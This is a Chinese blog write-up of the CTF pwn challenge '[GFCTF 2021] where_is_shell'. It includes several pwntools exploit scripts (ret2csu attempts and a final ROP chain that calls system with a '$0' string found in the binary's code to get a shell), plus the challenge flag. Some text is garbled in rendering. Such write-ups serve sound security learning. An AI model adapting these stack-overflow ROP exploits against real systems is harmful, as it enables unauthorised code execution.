编辑
2023-05-04
pwn
00
请注意,本文编写于 629 天前,最后修改于 629 天前,其中某些信息可能已经过时。

目录

[GFCTF 2021]where_is_shell

这题算是拓展我的知识了,学到了,nice!

还是一如既往的操作:

image-20230503082639677

反编译:

image-20230503082719706

又是有system没有/bin/sh

尝试

但这题也没有上一题可以往bss段写的地方,所以这里我第一想法就是直接利用栈溢出往bss段地址写/bin/sh,这里就想利用ret2csu,但很可惜我似乎没搞明白怎么做,下面是我的尝试。

python
from pwn import* io = remote('node4.anna.nssctf.cn',28835) elf = ELF('./shell') last_addr = 0x04005DA front_addr = 0x04005C0 def csu(rbx,rbp,r12,r13,r14,r15,ret_addr): payload = b'a'*(10+8)+p64(last_addr)+p64(rbx)+p64(rbp)+p64(r12) payload += p64(r13)+p64(r14)+p64(r15)+p64(front_addr)+b's'*(0x38)+p64(ret_addr) io.sendline(payload) read_plt = elf.plt['read'] system = 0x00400430 csu(0,1,read_plt,0x20,0x0601038,0,elf.sym['main']) io.sendline(b'/bin/sh\x00') csu(0,1,system,0,0,0x601038,elf.sym['main']) io.interactive()

然后我又看了大佬们的做法发现有一位的wp与我想的方法一致,这是dalao的exp:

python
from pwn import * context.endian = 'little' context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' io = remote('1.14.71.254', 28644) elf = ELF('/root/Desktop/shell') io.recvuntil(b'zltt lost his shell, can you find it?\n') fake_addr = 0x601a00 pop_rsi_r15_ret = 0x004005e1 pop_rdi_ret = 0x004005e3 ret = 0x00400481 payload = b'a' * 0x10 + p64(fake_addr) + p64(pop_rsi_r15_ret) + p64(fake_addr) + p64(0) + p64(0x00400572) io.send(payload) payload = b'/bin/sh\x00' + p64(pop_rdi_ret) + p64(fake_addr) + p64(ret) + p64(elf.sym['system']) io.send(payload)

所以我又进行了一下改进:

python
def csu(rbx,rbp,r12,r13,r14,r15,ret_addr): payload = b'a'*(10+8)+p64(last_addr)+p64(rbx)+p64(rbp)+p64(r12) payload += p64(r13)+p64(r14)+p64(r15)+p64(front_addr)+\ b'/bin/sh\x00'+b's'*(0x38)+\ p64(pop_rdi)+p64(0x601038)+p64(ret)+p64(system)+\ p64(ret_addr) io.sendline(payload)

但这里我又犯了一个错误,就是很明显我能溢出的字节数不够写这么长的rop链,所以又换成了下面这样的写法:

python
system = 0x00400430 pop_rsi_r15 = 0x004005e1 payload = b'a'*(10+8)+p64(0xdeadbeef)+p64(pop_rsi_r15)+p64(0x601038)+p64(0x0)+p64(0x0400572) #这里仅仅改变read的第二个参数也就是改写入地址,用rsi寄存器,然后调用read函数 io.send(payload) payload = b'/bin/sh\x00'+p64(pop_rdi)+p64(ret)+p64(0x601038)+p64(system) #这里我看dalao的写法有一些没懂,这里如果这样写是可以把/bin/sh写入bss段,但是后面同时是直接用自己调用的read函数进行溢出,这样的话p64(pop_rdi)+p64(ret)+p64(0x601038)+p64(system),这样一段到底是在栈上还是在bss段上,如果在bss段,那就无法进行栈溢出,那如果在栈上,他又是如何做到的呢,为什么可以直接这样写,程序会自己判断(\x00)还是其实都是先入栈再通过莫种方式将/bin/sh移入bss段呢(这里我觉得不太可行)。 io.send(payload)

但依旧是打不通,所以还是老老实实用system($0)进行系统调用。

逝试

这同样也是我刚知道的新调用法:

python
from pwn import * elf = ELF('./shell') p = remote('node4.anna.nssctf.cn',28835) ret_addr = 0x400416 # ROPgadget --binary shell --only 'ret' pop_rdi_ret = 0x4005e3 # ROPgadget --binary shell --only 'pop|rdi|ret' tips = 0x400541 system_addr = elf.symbols['system'] payload = b'b'*0x10+b'b'*8+p64(ret_addr)+p64(pop_rdi_ret)+p64(tips)+p64(sys tem_addr) p.sendlineafter('find it?\n',payload) p.interactive()

system(0)参数是0)参数是0,所以肯定要找0,这里找是找不到了,这里需要知道0,这里找是找不到了,这里需要知道0的机器码其实就是:24 30

所以可以找机器码。

在IDA里如何看机器码呢?

image-20230504122151090

image-20230504122207996

这样就可以看机器码了

image-20230504122236992

同样代码段是有read权限的,所以可以读取字符串。

flag:

image-20230504122837965

NSSCTF{6d9e2bc1-8482-4190-b94f-0fcb2c21e189}

如果对你有用的话,可以打赏哦
打赏
ali pay
wechat pay

本文作者:Hyrink

本文链接:

版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!